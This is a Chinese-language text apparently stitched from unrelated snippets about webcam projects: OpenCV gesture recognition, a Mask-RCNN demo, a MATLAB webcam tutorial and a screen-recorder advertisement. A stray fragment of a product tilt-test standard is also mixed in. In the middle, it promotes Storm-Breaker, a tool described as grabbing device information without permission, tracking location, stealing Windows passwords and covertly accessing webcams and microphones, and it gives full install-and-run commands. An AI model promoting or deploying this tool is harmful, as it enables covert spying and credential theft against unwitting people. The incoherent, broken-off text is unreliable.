实时手势识别 通过网络摄像头检测手部和头部运动手势并显示相应的左/右箭头以显示运动方向。 步骤：Haar Cascade Classifier 检测人脸。 HSV 颜色空间中的皮肤颜色过滤器以识别皮肤区域。 轮廓分割，利用矩计算轮廓的质心，并根据质心的变化方向显示相应的方向。 在 Python 中使用 OpenCV。

网络摄像头用于扫描按键。 指尖通过红色检测（指尖使用红色纸片）检测。

使用网络摄像头的Mask_RCNN 要求 Python>=3.4 numpy scipy Pillow cython matplotlib scikit-image tensorflow>=1.3.0 keras>=2.0.8 opencv-python h5py imgaug IPython[all] pycocotools 模型是经过训练的MS COCO数据集，并且使用了预先训练的权重（例如，使用网络摄像头对对象进行分割） 这是使用Mask-RCNN 进行对象实例分割的示例视频 在繁忙的印度道路上测试过的该模型的示例视频： : 使用Mask-RCNN测试的样本图像 可能的改进 该模型使用具有4GB内存的Nvidia 840M来实现，因此帧速率非常低。为了获得更好的帧速率，我们可以使用Nvidia Titan X或Nvidia 1080Ti。通过使用这些显卡，我们可以将当前场景的帧

看我的blog

1、产品以任何方向放置于10°的斜面 2、引用标准：EN 609503、要求：产品以任意方向的摆放于的斜面上，不倾倒不下滑 1、将产品放入烤箱内，烤箱温度设置等

具有吸引力的工具 特征： 未经许可获取设备信息 访问位置[智能手机] Os Password Grabber [WIN-10] 访问网络摄像头 存取麦克风 经过测试的操作系统 卡利Linux 2020 在Kali Linux上安装 $ git clone https://github.com/ultrasecurity/Storm-Breaker $ cd Storm-Breaker $ sudo bash linux-installer.sh $ python3 -m pip install -r requirments.txt $ sudo python3 Storm-Breaker.py

在这个项目中，我们使用的是 USB 网络摄像头。 我们正在使用 MATLAB Online 来展示如何首次设置网络摄像头，然后使用一些可用的功能。 有一个简单的对象分类器演示，使用 GoogLeNet 神经网络对直播视频中的对象进行分类。 工作流程是： a) 设置 USB 网络摄像头b) 使用快照功能拍摄单张图像c) 拍摄视频d) 对象分类器

Tensorflow.js

在这个文件中，我首先确定了连接的网络摄像头并使用 MATLAB 命令打开它。 之后，从网络摄像头拍摄两张图像。

HitPaw 屏幕录像机以简单的步骤录制游戏、屏幕、网络摄像头和画中画视频。HitPaw Screen Recorder 其硬件加速功能可让您在计算机上以高性能录制高清游戏。此外，您可以随时在录制过程中捕获键盘和屏幕截图。游戏录制并且分享到社交媒体，录屏和录制画中画视频对于教学和在线课堂非常重要。鼠标光标捕获和绘制功能对于突出显示或指出某些部分非常有用。录制一个带或不带音频的视频来显示问题或如何处理某事，这将是一种让每个人都知道事情进展情况的绝佳方式。通过HitPaw Screen Recorder编辑完善您录制的视频，剪切、裁剪、调整大小、减慢或加速、调整和旋转录制的视频可以创建更令人满意的视频。 HitPaw Screen Recorder 自定义录音区域 您可以随意调整录音区域，只录制您需要的部分 光标和击键效果 指出您正在使用不同的光标和击键效果做什么。 特殊抽奖效果 笔、箭头和突出显示的不同颜色使您的视频更具吸引力。 实时监控 您可以通过实时监控随时预览正在录制的内容，并确保所有内容正确无误。 自定义 PIP 位置/大小 更改 PIP 大小并将 PIP 移动到视